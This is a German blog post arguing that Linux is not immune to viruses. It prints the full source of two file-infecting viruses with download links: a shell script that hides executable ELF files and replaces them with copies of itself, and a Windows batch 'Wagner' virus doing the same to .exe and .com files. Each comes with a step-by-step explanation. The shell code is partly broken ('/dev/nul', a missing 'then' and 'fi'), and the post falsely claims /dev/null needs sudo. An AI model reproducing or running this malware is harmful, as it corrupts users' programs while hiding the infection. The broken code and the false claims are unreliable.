R3s1stanc3

Ich bin root, ich darf das!

Linux Viren

Als Windows Benutzer wird einem von Linux Nutzern ja immer Vorgeschwärmt, dass es für Linux keine Viren gäbe. Das ist falsch. Es gibt für Linux genauso Viren, aber nicht so viele und eher Viren und Würmer als Trojaner oder Bots. Außerdem hat es ein Virus unter Linux wegen den Nutzerberechtigungen viel schwerer, sich zu verbreiten. Die Perl Viren (Snippets) über die ich hier geschrieben habe funktionieren auch unter Linux. Ich habe auch ein Beispiel für einen Shell Virus unter Linux:

Wagner Linux (wagner.sh) download
1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh

for file in * ;  do
        if test -f $file && test -x $file && test -w $file ; then
                if file $file | grep -s 'ELF' > /dev/nul ; then
                        mv $file .$file
                        head -n 9 $0 > $file
        fi; fi
done
if test -e .$0
        .$0

Dabei wird jede ausführbare Datei, für die der Virus Schreib- und Leserechte hat, von “dateiname” in “.dateiname” umbenannt (Dateien mit “.” (Punkt) vor dem Dateinamen werden nicht ohne weiteres angezeigt). Nach dem Umbenennen kopiert der Virus sich selbst und speichert ich mit dem Namen “dateiname” ab. Wenn “dateiname” ausgeführt wird, werden wieder die ausführbaren Dateien infiziert und dann überprüft, ob “.dateiname” existiert und wenn ja, gestartet. Ein “einfacher Benutzer” bekommt also gar nicht mit, dass er infitiert wurde. Der Virus oben ist vergleichbar mit dem Wagner Virus (Batch ist ähnlich wie Shell nur eine Auflistung von Konsolenbefehlen):

Wagner Windows (wagner.bat) download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@echo off
ctty nul
for %%f in (*.exe *.com) do set A=%%f
        if %A%==COMMAND.COM set A=
        rename %A% V%A%
        if not exist V%A% goto end
        attrib +h V%A%
        copy %0.bat %A%
        attrib +r %A%
        ren %A% *.bat
        set A=
:end
ctty con
@if exist V%0.com V%0.com %1 %2 %3
@if exist V%0.exe V%0.exe %1 %2 %3

Textausgabe verhindern; alle .exe und .com Dateien als Ziel;
umbennnen der Exe’n und Com’s von “dateiname” in “Vdateiname”;
wenn “Vdateiname” existiert (wenn nicht wird zu “:end” gesprungen):
“Vdateiname” verstecken und
Kopie von sich selbst mit dem Namen “dateiname.bat” (Dateiendungen werden bei Windows mit Standardeinstellungen ausgeblendet) und
die Kopie vod dem überschreiben schützen;
Wenn “Vdateiname” existiert, starten

Ist genau das selbe Prinzip wie oben, aber: unter Windows kann die Batch Datei einfach ausgeführt werden. Unter Linux muss der Virus mit sudo Rechten ausgeführt werden, da er auf /dev/null zugreift und wer startet ein einfaches Programm mit sudo Rechten?

Ich wollte damit aber zeigen, dass Linux kein Allheilmittel ist und man trotzdem aufpassem muss, was man ausführt oder nicht.